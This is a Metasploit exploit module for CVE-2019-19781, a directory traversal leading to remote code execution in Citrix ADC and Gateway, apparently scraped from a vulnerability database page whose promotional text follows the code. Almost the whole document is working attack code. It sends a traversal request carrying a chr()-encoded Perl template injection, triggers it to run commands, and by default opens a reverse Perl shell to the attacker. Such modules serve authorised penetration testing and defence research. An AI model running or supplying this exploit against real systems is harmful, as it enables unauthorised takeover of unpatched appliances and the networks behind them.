##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Citrix ADC Remote Code Execution',
'Description' => %q(
An issue was discovered in Citrix Application Delivery Controller (ADC)
and Gateway 10.5, 11.1, 12.0, 12.1, and 13.0. They allow Directory Traversal.
),
'Author' => [
'RAMELLA Sébastien' # https://www.pirates.re/
],
'References' => [
['CVE', '2019-19781'],
['URL', 'https://www.mdsec.co.uk/2020/01/deep-dive-to-citrix-adc-remote-code-execution-cve-2019-19781/'],
['EDB', '47901'],
['EDB', '47902']
],
'DisclosureDate' => '2019-12-17',
'License' => MSF_LICENSE,
'Platform' => ['unix'],
'Arch' => ARCH_CMD,
'Privileged' => true,
'Payload' => {
'Compat' => {
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl meterpreter'
}
},
'Targets' => [
['Unix (remote shell)',
'Type' => :cmd_shell,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_perl',
'DisablePayloadHandler' => 'false'
}
],
['Unix (command-line)',
'Type' => :cmd_generic,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/generic',
'DisablePayloadHandler' => 'true'
}
],
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'RPORT' => 443,
'SSL' => true
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
))
register_options([
OptAddress.new('RHOST', [true, 'The target address'])
])
register_advanced_options([
OptBool.new('ForceExploit', [false, 'Override check result', false])
])
deregister_options('RHOSTS')
end
def execute_command(command, opts = {})
filename = Rex::Text.rand_text_alpha(16)
nonce = Rex::Text.rand_text_alpha(6)
request = {
'method' => 'POST',
'uri' => normalize_uri('vpn', '..', 'vpns', 'portal', 'scripts', 'newbm.pl'),
'headers' => {
'NSC_USER' => '../../../netscaler/portal/templates/' + filename,
'NSC_NONCE' => nonce
},
'vars_post' => {
'url' => 'http://127.0.0.1',
'title' => "[% template.new({'BLOCK'='print readpipe(#{get_chr_payload(command)})'})%]",
'desc' => 'desc',
'UI_inuse' => 'RfWeb'
},
'encode_params' => false
}
begin
received = send_request_cgi(request)
rescue ::OpenSSL::SSL::SSLError, ::Errno::ENOTCONN
print_error('Unable to connect on the remote target.')
end
return false unless received
if received.code == 200
vprint_status("#{received.get_html_document.text}")
sleep 2
request = {
'method' => 'GET',
'uri' => normalize_uri('vpn', '..', 'vpns', 'portal', filename + '.xml'),
'headers' => {
'NSC_USER' => nonce,
'NSC_NONCE' => nonce
}
}
## Trigger to gain exploitation.
begin
send_request_cgi(request)
received = send_request_cgi(request)
rescue ::OpenSSL::SSL::SSLError, ::Errno::ENOTCONN
print_error('Unable to connect on the remote target.')
end
return false unless received
return received
end
return false
end
def get_chr_payload(command)
chr_payload = command
i = chr_payload.length
output = ""
chr_payload.each_char do | c |
i = i - 1
output << "chr(" << c.ord.to_s << ")"
if i != 0
output << " . "
end
end
return output
end
def check
begin
received = send_request_cgi(
"method" => "GET",
"uri" => normalize_uri('vpn', '..', 'vpns', 'cfg', 'smb.conf')
)
rescue ::OpenSSL::SSL::SSLError, ::Errno::ENOTCONN
print_error('Unable to connect on the remote target.')
end
if received && received.code != 200
return Exploit::CheckCode::Safe
end
return Exploit::CheckCode::Vulnerable
end
def exploit
unless check.eql? Exploit::CheckCode::Vulnerable
unless datastore['ForceExploit']
fail_with(Failure::NotVulnerable, 'The target is not exploitable.')
end
else
print_good('The target appears to be vulnerable.')
end
case target['Type']
when :cmd_generic
print_status("Sending #{datastore['PAYLOAD']} command payload")
vprint_status("Generated command payload: #{payload.encoded}")
received = execute_command(payload.encoded)
if (received) && (datastore['PAYLOAD'] == "cmd/unix/generic")
print_warning('Dumping command output in parsed http response')
print_good("#{received.get_html_document.text}")
else
print_warning('Empty response, no command output')
return
end
when :cmd_shell
print_status("Sending #{datastore['PAYLOAD']} command payload")
vprint_status("Generated command payload: #{payload.encoded}")
execute_command(payload.encoded)
end
end
endData
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation